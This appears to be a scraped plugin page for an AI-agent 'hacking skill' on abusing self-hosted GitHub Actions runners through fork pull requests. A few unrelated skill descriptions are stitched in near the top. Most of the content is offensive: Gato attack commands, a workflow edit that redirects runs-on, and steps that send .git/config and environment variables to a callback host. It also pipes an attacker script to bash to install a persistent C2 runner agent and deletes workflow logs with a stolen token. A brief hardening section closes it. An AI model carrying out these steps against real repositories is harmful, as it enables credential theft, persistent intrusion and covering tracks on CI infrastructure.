From meta
Use when hunting self-hosted GitHub Actions runner vulnerabilities where fork pull requests can execute on privileged non-ephemeral runners. Trigger on: "self-hosted runner", "runs-on self-hosted", "fork PR workflow", "non-ephemeral runner", "first-time contributor approval", "runner images", "azure-builds runner", "outside collaborator approval", "runs-on matrix", "persistent runner", "Gato GitHub Attack Toolkit", "runner agent", self-hosted CI/CD runner abuse, "git config token", "workflow log deletion", runner C2.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
GitHub-hosted runners are ephemeral and isolated. Self-hosted runners are not — they
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
GitHub-hosted runners are ephemeral and isolated. Self-hosted runners are not — they
persist between runs, share state, and often carry long-lived credentials baked into the
environment. When a repository allows fork pull requests to run on self-hosted runners
(especially with the default "Require approval for first-time contributors" setting),
an attacker who has made even one accepted contribution can submit a PR that modifies
the workflow's runs-on field to target a privileged self-hosted runner and execute
arbitrary code on it. Non-ephemeral runners retain their working directory, installed
tooling, and cached credentials across runs — making them ideal for persistence and
lateral movement into the broader infrastructure.
runs-on: self-hosted or named runner labels (azure-builds, macos-vmware, [self-hosted, linux]) in workflow filesmatrix.os or matrix.runner whose values the PR author can influencepersist-credentials: false → .git/config contains embedded GITHUB_TOKENruns-on field uses an expression: runs-on: ${{ matrix.os }} or runs-on: ${{ inputs.runner }}AWS_*, AZURE_*, vCenter creds) available in runner environmentgato enumerate --target ORG --type org
# or manually:
grep -rn 'self-hosted\|runs-on:' .github/workflows/ | grep -v 'ubuntu-latest\|windows-latest\|macos-latest'
runs-on uses a matrix or expression that a PR author can modify.runs-on to target a self-hosted runner label.git/config for GITHUB_TOKEN, enumerate environment variables, access credential stores.# Gato: enumerate org for self-hosted runner exposure
gato enumerate --target ORG --type org --output results.json
gato attack --target REPO --self-hosted
# Modify runs-on in workflow PR to target self-hosted runner
# Change in linter.yml or any triggered workflow:
- runs-on: ubuntu-latest
+ runs-on: ${{ matrix.os }}
+ strategy:
+ matrix:
+ os: [self-hosted-runner-label]
# Malicious step payload — extract token from .git/config
- name: exfil
run: |
cat .git/config | base64 | curl -d @- https://CALLBACK
printenv | curl -d @- https://CALLBACK
# Install persistent runner agent (C2)
- name: persist
run: |
curl -sSfL https://ATTACKER/runner-install.sh | bash
# Registers new runner connected to attacker's private repo
# Runs as background process, survives workflow completion
# Delete workflow run logs to remove evidence (using stolen GITHUB_TOKEN)
curl -L -X DELETE \
-H "Authorization: Bearer STOLEN_TOKEN" \
https://api.github.com/repos/ORG/REPO/actions/runs/RUN_ID
# List recent runs to find IDs to delete
gh api repos/ORG/REPO/actions/runs --jq '.workflow_runs[].id'
runs-on: ${{ matrix.os }} and matrix is defined in a file the PR modifies, attacker controls the runner labelruns-on indirectlyruns-on is inherited from the calling workflowpersist-credentials: true (default): actions/checkout embeds GITHUB_TOKEN in .git/config — readable by any subsequent stepScenario 1 — Infrastructure takeover via image build runner
Setup: Repository builds VM/container images using self-hosted runners with vCenter/Azure credentials. Fork PR approval requires only first-time contributor check.
Trigger: Attacker merges one typo-fix PR, then submits second PR modifying runs-on to target the build runner.
Impact: Runner environment yields vCenter admin credentials, Azure storage keys, SSH keys. Attacker can poison all future runner images deployed globally.
Scenario 2 — Persistent C2 via runner agent Setup: Self-hosted runner is non-ephemeral (shared VM, no cleanup between runs). Trigger: Malicious PR step installs a secondary GitHub Actions runner agent registered to attacker's private repo. Impact: Attacker maintains persistent access to the runner machine — survives PR close, branch delete, and log wipe. Can re-trigger at will via private repo workflows.
Scenario 3 — Token theft + log deletion
Setup: Workflow uses default actions/checkout (persist-credentials: true).
Trigger: Malicious step reads .git/config, exfiltrates GITHUB_TOKEN with write permissions.
Impact: Attacker uses stolen token to push to protected branches, create releases, delete evidence (workflow logs deleted via API), and enumerate other secrets before token expires.
runs-on hardcoded (not an expression) — attacker cannot redirect to a different runner label via PR# WRONG: runs-on from matrix that PR author controls
runs-on: ${{ matrix.os }}
# CORRECT: hardcode runner label, don't expose it as a modifiable value
runs-on: ubuntu-latest
# or for self-hosted, use a fixed label not exposed in PR-modifiable files:
runs-on: [self-hosted, linux, internal]
# WRONG: default persist-credentials embeds token in .git/config
- uses: actions/checkout@v4
# CORRECT: don't persist credentials when not needed
- uses: actions/checkout@v4
with:
persist-credentials: false
runs-on values[[pwn-request]] is the most common trigger path that lands code on a self-hosted runner — a pull_request_target workflow that checks out PR code and runs it on a persistent self-hosted runner is the textbook combination. From there, [[github-actions-script-injection]] payloads can run to exfiltrate long-lived credentials stored in the runner environment. Once persistent access is established, [[github-actions-cache-poisoning]] can be executed from the compromised runner to poison downstream privileged workflows without requiring another PR.